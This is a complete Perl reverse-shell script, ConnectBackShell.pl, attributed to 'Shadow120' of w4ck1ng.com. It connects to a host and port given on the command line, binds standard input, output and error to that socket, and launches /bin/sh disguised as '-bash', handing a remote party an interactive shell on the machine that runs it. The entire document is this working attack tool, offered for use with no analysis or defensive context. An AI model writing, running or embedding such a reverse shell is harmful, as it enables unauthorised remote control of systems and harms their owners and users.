ConnectBackShell.pl

#!/usr/bin/perl
# ConnectBackShell in Perl. Shadow120 - w4ck1ng.com

use Socket;

$host = $ARGV[0];
$port = $ARGV[1];

 if (!$ARGV[0]) {
 printf "[!] Usage: perl script.pl <Host> <Port>\n";
 exit(1);
}
print "[+] Connecting to $host\n";
$prot = getprotobyname('tcp'); # You can change this if needs be
socket(SERVER, PF_INET, SOCK_STREAM, $prot) || die ("[-] Unable to Connect !");
if (!connect(SERVER, pack "SnA4x8", 2, $port, inet_aton($host))) {die("[-] Unable to Connect !");}
 open(STDIN,">&SERVER");
 open(STDOUT,">&SERVER");
 open(STDERR,">&SERVER");
 exec {'/bin/sh'} '-bash' . "\0" x 4;